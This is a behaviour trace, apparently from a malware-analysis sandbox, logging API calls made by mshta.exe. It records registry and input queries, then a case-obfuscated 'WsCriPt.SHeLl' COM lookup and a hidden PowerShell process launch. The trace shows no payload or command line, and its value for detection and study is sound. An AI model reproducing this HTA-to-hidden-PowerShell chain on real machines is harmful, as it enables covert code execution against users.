Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BODY_SIZE_IN_EDITABLE_IFRAME_KB943245 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DATABINDING_SUPPORT False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DATABINDING_SUPPORT False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENFORCE_BSTR False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENFORCE_BSTR False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_DYNAMIC_OBJECT_CACHING False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_DYNAMIC_OBJECT_CACHING False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LEGACY_TOSTRING_IN_COMPATVIEW False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LEGACY_TOSTRING_IN_COMPATVIEW False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_OM_SCREEN_ORIGIN_DISPLAY_PIXELS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_OM_SCREEN_ORIGIN_DISPLAY_PIXELS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_RESTRICT_CRASH_RECOVERY_SAVE_KB978454 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_RESTRICT_CRASH_RECOVERY_SAVE_KB978454 False 1
Fn
Ini Read file_name_orig = Win.ini, section_name = windows, key_name = DragDelay, default_value = 20, data_out = 20 True 1
Fn
System Get Info type = Operating System False 1
Fn
Keyboard Get Info type = KB_LOCALE_ID True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CLEANUP_AT_FLS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CLEANUP_AT_FLS False 1
Fn
Module Get Filename module_name = C:\Windows\System32\mshtml.dll, process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Windows\System32\mshtml.dll, size = 260 True 1
Fn
File Open Mapping filename = #MSHTML#PERF#00000BC8, desired_access = FILE_MAP_WRITE False 1
Fn
System Get Info type = Operating System False 1
Fn
Module Get Handle module_name = c:\windows\system32\advapi32.dll, base_address = 0x7feff8e0000 True 1
Fn
Module Get Address module_name = c:\windows\system32\advapi32.dll, function = EventWrite, address_out = 0x7782b510 True 1
Fn
Module Get Address module_name = c:\windows\system32\advapi32.dll, function = EventRegister, address_out = 0x7783cac0 True 1
Fn
Module Get Address module_name = c:\windows\system32\advapi32.dll, function = EventUnregister, address_out = 0x77823c80 True 1
Fn
Module Get Handle module_name = c:\windows\system32\mshta.exe, base_address = 0xff9d0000 True 1
Fn
Module Get Filename module_name = c:\windows\system32\mshta.exe, process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Windows\System32\mshta.exe, size = 260 True 1
Fn
Mutex Create mutex_name = Local\!PrivacIE!SharedMemory!Mutex True 1
Fn
Module Create Mapping filename = System Paging File, protection = PAGE_READWRITE, maximum_size = 16 True 1
Fn
Module Map process_name = c:\windows\system32\mshta.exe, desired_access = FILE_MAP_WRITE True 1
Fn
Module Get Handle module_name = c:\windows\system32\kernel32.dll, base_address = 0x776e0000 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = RegisterApplicationRestart, address_out = 0x7775f510 True 1
Fn
Module Get Address module_name = c:\windows\system32\mshtml.dll, function = RunHTMLApplication, address_out = 0x7fee0ad5b90 True 1
Fn
Window Create class_name = HTML Application Host Window Class, wndproc_parameter = 8791278233248 True 1
Fn
Window Create class_name = HTML Application Host Window Class, wndproc_parameter = 8791278233248 True 1
Fn
Window Set Attribute class_name = HTML Application Host Window Class, index = 18446744073709551600, new_long = 18446744071609188352 True 1
Fn
COM Create interface = 00000000-0000-0000-C000-000000000046, cls_context = CLSCTX_INPROC_SERVER True 1
Fn
Window Create wndproc_parameter = 0 True 1
Fn
System Get Info type = Windows Directory, result_out = C:\Windows True 1
Fn
Module Load module_name = comctl32.dll, base_address = 0x7fefc060000 True 1
Fn
Ini Read file_name_orig = Win.ini, section_name = windows, key_name = DragScrollInset, default_value = 11, data_out = 11 True 1
Fn
Ini Read file_name_orig = Win.ini, section_name = windows, key_name = DragScrollDelay, default_value = 50, data_out = 50 True 1
Fn
Ini Read file_name_orig = Win.ini, section_name = windows, key_name = DragDelay, default_value = 200, data_out = 200 True 1
Fn
Ini Read file_name_orig = Win.ini, section_name = windows, key_name = DragScrollInterval, default_value = 50, data_out = 50 True 1
Fn
Module Get Filename process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Windows\System32\mshta.exe, size = 260 True 2
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, value_name = NoFileMenu, type = REG_NONE False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DOCUMENT_COMPATIBLE_MODE False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DOCUMENT_COMPATIBLE_MODE False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_DOCUMENT_ZOOM False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_DOCUMENT_ZOOM False 1
Fn
Module Get Handle module_name = c:\windows\system32\kernel32.dll, base_address = 0x776e0000 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = InitializeSRWLock, address_out = 0x778384f0 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = AcquireSRWLockExclusive, address_out = 0x77828020 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = AcquireSRWLockShared, address_out = 0x778254e0 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = ReleaseSRWLockExclusive, address_out = 0x77828050 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = ReleaseSRWLockShared, address_out = 0x778254b0 True 1
Fn
Module Load module_name = OLEAUT32.dll, base_address = 0x7fefde70000 True 1
Fn
Module Get Address module_name = c:\windows\system32\oleaut32.dll, function = 6, address_out = 0x7fefde71320 True 1
Fn
System Get Info - True 2
Fn
Module Get Handle module_name = EXPLORER.EXE, base_address = 0x0 False 1
Fn
Module Get Handle module_name = IEXPLORE.EXE, base_address = 0x0 False 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\PageSetup True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\PageSetup, value_name = Print_Background False 1
Fn
Module Get Address module_name = c:\windows\system32\oleaut32.dll, function = 7, address_out = 0x7fefde71020 True 1
Fn
System Get Cursor x_out = 724, y_out = 422 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
Module Get Address module_name = c:\windows\system32\oleaut32.dll, function = 8, address_out = 0x7fefde713f0 True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_XSSFILTER False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_XSSFILTER True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_SHOW_FAILED_CONNECT_CONTENT_KB942615 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_SHOW_FAILED_CONNECT_CONTENT_KB942615 False 1
Fn
COM Create interface = 08C0E040-62D1-11D1-9326-0060B067B86E, cls_context = CLSCTX_INPROC_SERVER, CLSCTX_NO_CODE_DOWNLOAD True 1
Fn
Window Create wndproc_parameter = 3266448 True 1
Fn
System Sleep duration = 100 milliseconds (0.100 seconds) True 1
Fn
Module Load module_name = OLEACC.DLL, base_address = 0x7fef22f0000 True 1
Fn
Module Get Address module_name = c:\windows\system32\oleacc.dll, function = LresultFromObject, address_out = 0x7fef22f3aa8 True 1
Fn
Keyboard Read virtual_key_code = VK_LBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_RBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_RBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_RBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
System Get Cursor x_out = 724, y_out = 422 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
System Get Cursor x_out = 724, y_out = 422 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_RBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_RBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
System Get Info - True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MSHTML_AUTOLOAD_IEFRAME False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MSHTML_AUTOLOAD_IEFRAME True 1
Fn
Module Load module_name = ieframe.dll, base_address = 0x7fef2350000 True 1
Fn
System Get Info type = Operating System False 1
Fn
Module Load module_name = ieframe.dll, base_address = 0x7fef2350000 True 1
Fn
System Get Time type = Ticks, time = 131150 True 1
Fn
System Get Time type = Ticks, time = 131165 True 249
Fn
System Sleep duration = 100 milliseconds (0.100 seconds) True 1
Fn
System Get Time type = Ticks, time = 131181 True 1
Fn
COM Create interface = BB1A2AE1-A4F9-11CF-8F20-00805F2CD064, cls_context = CLSCTX_INPROC_SERVER True 1
Fn
System Get Time type = System Time, time = 2017-10-24 17:38:03 (UTC) True 1
Fn
System Get Time type = Ticks, time = 131228 True 1
Fn
System Get Info type = Operating System True 1
Fn
Module Load module_name = ole32.dll, base_address = 0x7fefe1c0000 True 1
Fn
Module Get Address module_name = c:\windows\system32\ole32.dll, function = CoCreateInstance, address_out = 0x7fefe1e7490 True 1
Fn
COM Create interface = 6C736DC1-AB0D-11D0-A2AD-00A0C90F27E8, cls_context = CLSCTX_INPROC_SERVER True 1
Fn
System Get Time type = Ticks, time = 131243 True 1
Fn
Module Get Address module_name = c:\windows\system32\oleaut32.dll, function = 2, address_out = 0x7fefde73480 True 1
Fn
Module Get Handle module_name = c:\windows\system32\ole32.dll, base_address = 0x7fefe1c0000 True 1
Fn
Module Get Address module_name = c:\windows\system32\ole32.dll, function = CLSIDFromProgIDEx, address_out = 0x7fefe1da4c4 True 1
Fn
COM Get Class ID cls_id = 72C24DD5-D70A-438B-8A42-98424B88AFB8, prog_id = WsCriPt.SHeLl True 1
Fn
Module Get Address module_name = c:\windows\system32\ole32.dll, function = CoGetClassObject, address_out = 0x7fefe1f2e18 True 1
Fn
COM Create interface = 00000001-0000-0000-C000-000000000046, cls_context = CLSCTX_INPROC_SERVER, CLSCTX_LOCAL_SERVER, CLSCTX_REMOTE_SERVER True 1
Fn
System Get Time type = System Time, time = 2017-10-24 17:38:03 (UTC) True 1
Fn
System Get Time type = Ticks, time = 131462 True 1
Fn
System Get Info type = Operating System False 1
Fn
Module Get Filename module_name = IEXPLORE.EXE, process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Windows\System32\mshta.exe, size = 261 True 1
Fn
Module Load module_name = shell32.dll, base_address = 0x7fefe850000 True 1
Fn
Module Get Address module_name = c:\windows\system32\shell32.dll, function = ShellExecuteExW, address_out = 0x7fefe877c70 True 1
Fn
Process Create process_name = C:\Windows\SYSteM32\windowspOweRSHeLL\V1.0\PoWErSHELL.Exe, show_window = SW_HIDE True 1
Fn
System Sleep duration = -1 (infinite) True 1
Fn
System Get Cursor x_out = 724, y_out = 422 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
System Get Cursor x_out = 724, y_out = 422 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_RBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_RBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
System Sleep duration = 100 milliseconds (0.100 seconds) True 1
Fn
System Sleep duration = -1 (infinite) True 6
Fn
System Get Time type = Ticks, time = 147686 True 1
Fn
System Sleep duration = 0 milliseconds (0.000 seconds) True 1
Fn
System Get Time type = Ticks, time = 147701 True 1
Fn
System Get Info type = Operating System False 1
Fn
Keyboard Get Info type = KB_LOCALE_ID True 1
Fn
System Get Time type = Ticks, time = 147764 True 2
Fn
System Get Cursor x_out = 631, y_out = 286 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
System Get Cursor x_out = 631, y_out = 286 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
System Get Cursor x_out = 631, y_out = 286 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
System Get Cursor x_out = 631, y_out = 286 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
System Get Cursor x_out = 631, y_out = 286 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
Module Load module_name = oleaut32.dll, base_address = 0x7fefde70000 True 1
Fn
Module Get Address module_name = c:\windows\system32\oleaut32.dll, function = VariantClear, address_out = 0x7fefde71180 True 1
Fn
System Get Cursor x_out = 791, y_out = 286 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
Window Set Attribute class_name = HTML Application Host Window Class, index = 18446744073709551600, new_long = 18446744071609188352 True 1
Fn
Window Set Attribute class_name = HTML Application Host Window Class, index = 18446744073709551596, new_long = 262144 True 1
Fn
Keyboard Read virtual_key_code = VK_LBUTTON, result_out = 1 True 1
Fn
Keyboard Read virtual_key_code = VK_RBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LBUTTON, result_out = 1 True 1
Fn
Keyboard Read virtual_key_code = VK_RBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
System Sleep duration = 100 milliseconds (0.100 seconds) True 1
Fn
System Get Cursor x_out = 791, y_out = 286 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
System Get Cursor x_out = 791, y_out = 286 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
System Get Cursor x_out = 791, y_out = 286 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
System Get Cursor x_out = 791, y_out = 286 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LBUTTON, result_out = 1 True 1
Fn
Keyboard Read virtual_key_code = VK_RBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ADDITIONAL_IE8_MEMORY_CLEANUP False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ADDITIONAL_IE8_MEMORY_CLEANUP False 1
